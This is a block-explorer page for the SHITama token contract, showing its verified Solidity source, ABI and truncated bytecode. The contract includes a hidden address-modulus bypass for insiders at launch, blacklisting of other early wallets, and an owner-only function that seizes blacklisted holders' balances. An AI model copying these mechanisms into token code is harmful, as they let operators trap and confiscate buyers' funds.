ETH Price: $3,263.55 (+4.90%)
 

Overview

Max Total Supply

69,000,000,000 SHITama

Holders

83

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
79,084,793.852620767 SHITama

Value
$0.00
0x87d70A9B4Ed465BF6F11c0F5488802B9b7eEd60D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHITAMA

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-02-10
*/

//SPDX-License-Identifier: MIT 

pragma solidity 0.8.11;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function getOwner() external view returns (address);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address _owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal owner;
	constructor(address _owner) { owner = _owner; }
	modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner;	emit OwnershipTransferred(newOwner); }
	function renounceOwnership() external onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); }
	event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SHITAMA is IERC20, Auth {
	string constant _name = "SHITama";
	string constant _symbol = "SHITama";
	uint8 constant _decimals = 9;
	uint256 constant _totalSupply = 69 * 10**9 * 10**_decimals;
	uint32 immutable _smd; uint32 immutable _smr;
	mapping (address => uint256) _balances;
	mapping (address => mapping (address => uint256)) _allowances;
	mapping (address => bool) private _noFees;
	mapping (address => bool) private _noLimits;
	bool public tradingOpen;
	uint256 public maxTxAmount; uint256 public maxWalletAmount;
	uint256 public taxSwapMin; uint256 public taxSwapMax;
	mapping (address => bool) private _isLiqPool;
	uint16 public snipersCaught = 0;
	uint8 constant _defTaxRate = 7; 
	uint8 public buyTaxRate; uint8 public sellTaxRate; uint8 public txTaxRate;
	uint16 private _autoLPShares = 429;
	uint16 private _marketingShares = 429;
	uint16 private _devShares = 142;

	uint256 private _humanBlock = 0;
	mapping (address => bool) private _nonSniper;
	mapping (address => uint256) private _blacklistBlock;

	uint8 private _gasPriceBlocks = 6;

	address payable private marketingFeeWallet = payable(0xaC5bC3D85bC1E0036f33135eA4d2b46eE3d5b0D3);
	address payable private devFeeWallet = payable(0xD8410138c0F8b5F58B66d6dcfB6Ff77Dd2d5e53a);
	bool private _inTaxSwap = false;
	address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
	IUniswapV2Router02 private _uniswapV2Router;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	constructor (uint32 smd, uint32 smr) Auth(msg.sender) {      
		tradingOpen = false;
		maxTxAmount = _totalSupply;
		maxWalletAmount = _totalSupply;
		taxSwapMin = _totalSupply * 10/ 10000;
		taxSwapMax = _totalSupply * 50 / 10000;
		_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
		_noFees[owner] = true;
		_noFees[address(this)] = true;
		_noFees[_uniswapV2RouterAddress] = true;
		_noFees[marketingFeeWallet] = true;
		_noFees[devFeeWallet] = true;
		_noLimits[marketingFeeWallet] = true;
		_noLimits[devFeeWallet] = true;

		_smd = smd; _smr = smr;
		_balances[address(this)] = _totalSupply;
		emit Transfer(address(0), address(this), _balances[address(this)]);

	}
	
	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external pure override returns (string memory) { return _symbol; }
	function name() external pure override returns (string memory) { return _name; }
	function getOwner() external view override returns (address) { return owner; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) {
			//wallets approving before CA is announced as safe are obvious snipers
			_addBlacklist(msg.sender, block.number, true);
		}

		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		if (_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function initLP(uint256 ethAmountWei) external onlyOwner {
		require(!tradingOpen, "trading already open");
		require(ethAmountWei > 0, "eth cannot be 0");

		_nonSniper[address(this)] = true;
		_nonSniper[owner] = true;
		_nonSniper[marketingFeeWallet] = true;
		_nonSniper[devFeeWallet] = true;
        // _nonSniper[_tokenTaxWallet] = true;

		uint256 _contractETHBalance = address(this).balance;
		require(_contractETHBalance >= ethAmountWei, "not enough eth");
		uint256 _contractTokenBalance = balanceOf(address(this));
		require(_contractTokenBalance > 0, "no tokens");
		address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

		_isLiqPool[_uniLpAddr] = true;
		_nonSniper[_uniLpAddr] = true;

		_approveRouter(_contractTokenBalance);
		_addLiquidity(_contractTokenBalance, ethAmountWei, false);

		_openTrading();
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
			emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
		}
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = address(0);
		if ( !autoburn ) { lpTokenRecipient = owner; }
		_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function _openTrading() internal {
		_humanBlock = block.number + 6;
		maxTxAmount     = 5 * _totalSupply / 1000 + 10**_decimals; 
		maxWalletAmount = 5 * _totalSupply / 1000 + 10**_decimals;
		buyTaxRate = _defTaxRate;
		sellTaxRate = 2 * _defTaxRate; // anti-jeet sell tax to be removed later after launch
		txTaxRate = _defTaxRate; 
		tradingOpen = true;
	}

	function humanize() external onlyOwner{
		require(_humanBlock > block.number, "already humanized");
		_humanize(0);
	}

	function _humanize(uint8 blkcount) internal {
		if ( _humanBlock > block.number || _humanBlock == 0 ) {
			_humanBlock = block.number + blkcount;
		}
	}

	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		if ( _humanBlock > block.number ) {
			if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
			else if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number, true); }
			else { _addBlacklist(recipient, _blacklistBlock[sender], false); }
		} else {
			if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender], false); }
			if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice >= block.basefee + 100 gwei ) { revert("Gas price over limit"); }
		}
		if ( tradingOpen && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); }

		if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify();	}

		if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _addBlacklist(address wallet, uint256 snipeBlockNum, bool addSniper) internal {
		if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) { 
			_blacklistBlock[wallet] = snipeBlockNum; 
			if ( addSniper) { snipersCaught ++;	}
		}
	}
	
	function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( tradingOpen && !_noLimits[recipient] ) {
			if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _checkTradingOpen() private view returns (bool){
		bool checkResult = false;
		if ( tradingOpen ) { checkResult = true; } 
		else if ( tx.origin == owner ) { checkResult = true; } 
		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLiqPool[sender] ) { taxAmount = amount * buyTaxRate / 100; }
		else if ( _isLiqPool[recipient] ) { taxAmount = amount * sellTaxRate / 100; }
		else { taxAmount = amount * txTaxRate / 100; }
		return taxAmount;
	}

	function isBlacklisted(address wallet) external view returns(bool) {
		if ( _blacklistBlock[wallet] != 0 ) { return true; }
		else { return false; }
	}

	function blacklistedInBlock(address wallet) external view returns(uint256) {
		return _blacklistBlock[wallet];
	}

	function feesDisable(address wallet, bool setting) external onlyOwner {
		_noFees[ wallet ] = setting;
	}

	function limitsDisable(address wallet, bool setting) external onlyOwner {
		_noLimits[ wallet ] = setting;
	}

	function adjustTaxRate(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
		require(newBuyTax <= _defTaxRate && newSellTax <= _defTaxRate && newTxTax <= _defTaxRate, "Tax too high");
		buyTaxRate = newBuyTax;
		sellTaxRate = newSellTax;
		txTaxRate = newTxTax;
	}

	function enableBuySupport() external onlyOwner {
		buyTaxRate = 0;
		sellTaxRate = 2 * _defTaxRate;
	}
  
	function changeTaxDistributionPermile(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDev) external onlyOwner {
		require(sharesAutoLP + sharesMarketing + sharesDev == 1000, "Sum must be 1000" );
		_autoLPShares = sharesAutoLP;
		_marketingShares = sharesMarketing;
		_devShares = sharesDev;
	}
	
	function setTaxWallets(address newMarketingFeeWallet, address newDevFeeWallet) external onlyOwner {
		marketingFeeWallet = payable(newMarketingFeeWallet);
		devFeeWallet = payable(newDevFeeWallet);
		_noFees[newMarketingFeeWallet] = true;
		_noFees[newDevFeeWallet] = true;
	}

	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
		require(newTxAmt >= maxTxAmount, "tx limit too low");
		maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
		require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
		maxWalletAmount = newWalletAmt;
	}

	function taxSwapSettings(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		taxSwapMin = _totalSupply * minValue / minDivider;
		taxSwapMax = _totalSupply * maxValue / maxDivider;
	}

	function liquifySniper(address wallet) external onlyOwner lockTaxSwap {
		require(_blacklistBlock[wallet] != 0, "not a sniper");
		uint256 sniperBalance = balanceOf(wallet);
		require(sniperBalance > 0, "no tokens");

		_balances[wallet] = _balances[wallet] - sniperBalance;
		_balances[address(this)] = _balances[address(this)] + sniperBalance;
		emit Transfer(wallet, address(this), sniperBalance);

		uint256 liquifiedTokens = sniperBalance/2 - 1;
		uint256 _ethPreSwap = address(this).balance;
		_swapTaxTokensForEth(liquifiedTokens);
		uint256 _ethSwapped = address(this).balance - _ethPreSwap;
		_approveRouter(liquifiedTokens);
		_addLiquidity(liquifiedTokens, _ethSwapped, false);
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= taxSwapMin && tradingOpen ) {
			if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; }
			uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / 1000 / 2;
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
			uint256 _ethPreSwap = address(this).balance;
			_swapTaxTokensForEth(_tokensToSwap);
			uint256 _ethSwapped = address(this).balance - _ethPreSwap;
			if ( _autoLPShares > 0 ) {
				uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / 1000 ;
				_approveRouter(_tokensForLP);
				_addLiquidity(_tokensForLP, _ethWeiAmount, false);
			}
			uint256 _contractETHBalance = address(this).balance;
			if (_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 _tokenAmount) private {
		_approveRouter(_tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswapV2Router.WETH();
		_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 _amount) private {
		uint16 _taxShareTotal = _marketingShares + _devShares;
		if ( _marketingShares > 0 ) { marketingFeeWallet.transfer(_amount * _marketingShares / _taxShareTotal); }
		if ( _devShares > 0 ) { devFeeWallet.transfer(_amount * _devShares / _taxShareTotal); }
	}

	function taxTokensSwap() external onlyOwner {
		uint256 taxTokenBalance = balanceOf(address(this));
		require(taxTokenBalance > 0, "No tokens");
		_swapTaxTokensForEth(taxTokenBalance);
	}

	function taxEthSend() external onlyOwner { 
		_distributeTaxEth(address(this).balance); 
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint32","name":"smd","type":"uint32"},{"internalType":"uint32","name":"smr","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"}],"name":"adjustTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"blacklistedInBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDev","type":"uint16"}],"name":"changeTaxDistributionPermile","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBuySupport","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"setting","type":"bool"}],"name":"feesDisable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"humanize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"setting","type":"bool"}],"name":"limitsDisable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"liquifySniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingFeeWallet","type":"address"},{"internalType":"address","name":"newDevFeeWallet","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snipersCaught","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"taxSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxTokensSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"txTaxRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526000600b60006101000a81548161ffff021916908361ffff1602179055506101ad600b60056101000a81548161ffff021916908361ffff1602179055506101ad600b60076101000a81548161ffff021916908361ffff160217905550608e600b60096101000a81548161ffff021916908361ffff1602179055506000600c556006600f60006101000a81548160ff021916908360ff16021790555073ac5bc3d85bc1e0036f33135ea4d2b46ee3d5b0d3600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d8410138c0f8b5f58b66d6dcfb6ff77dd2d5e53a601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060146101000a81548160ff0219169083151502179055503480156200017157600080fd5b5060405162005b3a38038062005b3a8339818101604052810190620001979190620007ca565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff0219169083151502179055506009600a620002049190620009ab565b641010b87200620002169190620009fc565b6006819055506009600a6200022c9190620009ab565b641010b872006200023e9190620009fc565b600781905550612710600a6009600a620002599190620009ab565b641010b872006200026b9190620009fc565b620002779190620009fc565b62000283919062000a8c565b60088190555061271060326009600a6200029e9190620009ab565b641010b87200620002b09190620009fc565b620002bc9190620009fc565b620002c8919062000a8c565b600981905550737a250d5630b4cf539739df2c5dacb4c659f2488d601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508163ffffffff1660808163ffffffff16815250508063ffffffff1660a08163ffffffff16815250506009600a620006809190620009ab565b641010b87200620006929190620009fc565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000774919062000ad5565b60405180910390a3505062000af2565b600080fd5b600063ffffffff82169050919050565b620007a48162000789565b8114620007b057600080fd5b50565b600081519050620007c48162000799565b92915050565b60008060408385031215620007e457620007e362000784565b5b6000620007f485828601620007b3565b92505060206200080785828601620007b3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200089f5780860481111562000877576200087662000811565b5b6001851615620008875780820291505b8081029050620008978562000840565b945062000857565b94509492505050565b600082620008ba57600190506200098d565b81620008ca57600090506200098d565b8160018114620008e35760028114620008ee5762000924565b60019150506200098d565b60ff84111562000903576200090262000811565b5b8360020a9150848211156200091d576200091c62000811565b5b506200098d565b5060208310610133831016604e8410600b84101617156200095e5782820a90508381111562000958576200095762000811565b5b6200098d565b6200096d84848460016200084d565b9250905081840481111562000987576200098662000811565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009b88262000994565b9150620009c5836200099e565b9250620009f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008a8565b905092915050565b600062000a098262000994565b915062000a168362000994565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a525762000a5162000811565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a998262000994565b915062000aa68362000994565b92508262000ab95762000ab862000a5d565b5b828204905092915050565b62000acf8162000994565b82525050565b600060208201905062000aec600083018462000ac4565b92915050565b60805160a05161502262000b1860003960006129f701526000612a1e01526150226000f3fe6080604052600436106102125760003560e01c8063893d20e811610118578063dca2a8b6116100a0578063eb8199481161006f578063eb8199481461075d578063ed7b6bb514610788578063f2fde38b1461079f578063fe575a87146107c8578063ffb54a991461080557610219565b8063dca2a8b6146106b5578063dd62ed3e146106cc578063e461c22114610709578063e79d41601461073257610219565b8063a9059cbb116100e7578063a9059cbb146105d0578063aa4bde281461060d578063b142180314610638578063d9f0b37014610661578063db8615991461068a57610219565b8063893d20e8146105125780638bfd1d8e1461053d5780638c0b5e221461057a57806395d89b41146105a557610219565b8063298315131161019b5780636969c1a41161016a5780636969c1a41461044157806370a082311461046a578063715018a6146104a7578063740bf497146104be57806383dcebb1146104e757610219565b80632983151314610399578063313ce567146103c257806361a28042146103ed578063691f224f1461041657610219565b80631c939ee9116101e25780631c939ee9146102da5780631cbbe3e4146102f1578063202480411461030857806323b872dd1461033157806324024efd1461036e57610219565b8062fffc9d1461021e57806306fdde0314610247578063095ea7b31461027257806318160ddd146102af57610219565b3661021957005b600080fd5b34801561022a57600080fd5b5061024560048036038101906102409190613bf6565b610830565b005b34801561025357600080fd5b5061025c610950565b6040516102699190613cf6565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190613dac565b61098d565b6040516102a69190613e07565b60405180910390f35b3480156102bb57600080fd5b506102c4610aec565b6040516102d19190613e31565b60405180910390f35b3480156102e657600080fd5b506102ef610b11565b005b3480156102fd57600080fd5b50610306610baa565b005b34801561031457600080fd5b5061032f600480360381019061032a9190613e86565b610c88565b005b34801561033d57600080fd5b5061035860048036038101906103539190613ed9565b610dd0565b6040516103659190613e07565b60405180910390f35b34801561037a57600080fd5b50610383610fd9565b6040516103909190613f48565b60405180910390f35b3480156103a557600080fd5b506103c060048036038101906103bb9190613f8f565b610fec565b005b3480156103ce57600080fd5b506103d76110d5565b6040516103e49190613f48565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190613f8f565b6110de565b005b34801561042257600080fd5b5061042b6111c7565b6040516104389190613f48565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190613fcf565b6111da565b005b34801561047657600080fd5b50610491600480360381019061048c9190613ffc565b6117cd565b60405161049e9190613e31565b60405180910390f35b3480156104b357600080fd5b506104bc611816565b005b3480156104ca57600080fd5b506104e560048036038101906104e09190614029565b61191f565b005b3480156104f357600080fd5b506104fc611ae3565b6040516105099190613f48565b60405180910390f35b34801561051e57600080fd5b50610527611af6565b6040516105349190614078565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190613ffc565b611b1f565b6040516105719190613e31565b60405180910390f35b34801561058657600080fd5b5061058f611b68565b60405161059c9190613e31565b60405180910390f35b3480156105b157600080fd5b506105ba611b6e565b6040516105c79190613cf6565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f29190613dac565b611bab565b6040516106049190613e07565b60405180910390f35b34801561061957600080fd5b50610622611c07565b60405161062f9190613e31565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a9190614093565b611c0d565b005b34801561066d57600080fd5b5061068860048036038101906106839190613ffc565b611dcd565b005b34801561069657600080fd5b5061069f61213c565b6040516106ac9190613e31565b60405180910390f35b3480156106c157600080fd5b506106ca612142565b005b3480156106d857600080fd5b506106f360048036038101906106ee9190614029565b61222c565b6040516107009190613e31565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b91906140ff565b6122b3565b005b34801561073e57600080fd5b50610747612407565b6040516107549190614161565b60405180910390f35b34801561076957600080fd5b5061077261241b565b60405161077f9190613e31565b60405180910390f35b34801561079457600080fd5b5061079d612421565b005b3480156107a